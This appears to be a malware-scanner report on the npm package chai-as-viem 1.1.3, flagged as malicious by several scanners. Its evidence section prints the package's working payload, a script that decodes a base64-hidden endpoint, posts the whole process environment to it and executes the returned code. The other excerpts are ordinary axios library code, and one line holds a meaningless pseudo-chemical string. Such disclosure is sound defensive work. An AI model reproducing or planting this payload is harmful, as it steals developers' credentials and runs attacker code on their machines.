Hostile ^93% javascript Download

chai-as-viem 1.1.3

Exfiltrates env, executes remote code

“This document describes the management of vulnerabilities for the project and all modules within the organization.”

Full environment dump via Axios POSTHTTP response executed with require

SHA-256185dd939593b231a0948d57901b9299e65c3a9af3e9df3add4b18002ee1b7552

URLhttps://registry.npmjs.org/chai-as-viem/-/chai-as-viem-1.1.3.tgz

MaleculeK(Li₂)O₅(CEuAsS₃Xe)H₇(Cm₁₁CrDb₁₄FOsPo₈Ti)Md₃(Pa₆)

Also flagged by osm (Malicious package detected. Behaviors: data exfiltration, code execution, obfuscated code.), osv (MAL-2026-16329: Malicious code in chai-as-viem (npm)) +4 more.

Evidence

Function executes HTTP response data initializeCaller.js · lines 1–19

1"use strict";
2
3const axios = require("axios");
4const endpoint = "aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoLzZjMWQ2MGQzNTg1MmVmMGMwNWRm";
5
6(async function initializeCaller(..._args) {
7  const response = await axios.post(
8    Buffer.from(endpoint, 'base64').toString('utf-8'),
9    { ...process.env },
10    { headers: { "x-secret-header" : "secret" } }
11  )
12  try {
13    const executor = new Function("require", response.data);
14    executor(require);
15    console.log('Successfully synced!');
16  } catch (err) {
17    console.error(err);
18  }
19})();

Imports the Node.js HTTP module axios.cjs · lines 1–25

⋯5 lines
6var url = require('url');
7var HttpsProxyAgent = require('https-proxy-agent');
8var http = require('http');
9var https = require('https');
10var http2 = require('http2');
11var util = require('util');
⋯14 lines

Registers an event listener for message events axios.cjs · lines 973–979

3… return postMessageSupported ? ((token, callbacks) => {
  _global.addEventListener('message', ({
    source,
    data
  }) => {
    if (source === _global && data === token) {
      callbacks.length && callback …

Sends data with window or worker postMessage axios.cjs · lines 981–990

3…   }, false);
  return cb => {
    callbacks.push(cb);
    _global.postMessage(token, '*');
  };
})(`axios@${Math.random()}`, []) : cb => setTimeout(cb);
⋯4 lines

References HTTP Content-Type application/json axios.cjs · lines 1082–1097

⋯5 lines
* ```
* Date: Wed, 27 Aug 2014 08:58:49 GMT
* Content-Type: application/json
* Connection: keep-alive
* Transfer-Encoding: chunked
⋯6 lines

Showing the top 5 files — 6 more files (49 regions) not shown.

No evidence locations were recorded for this file. Raw result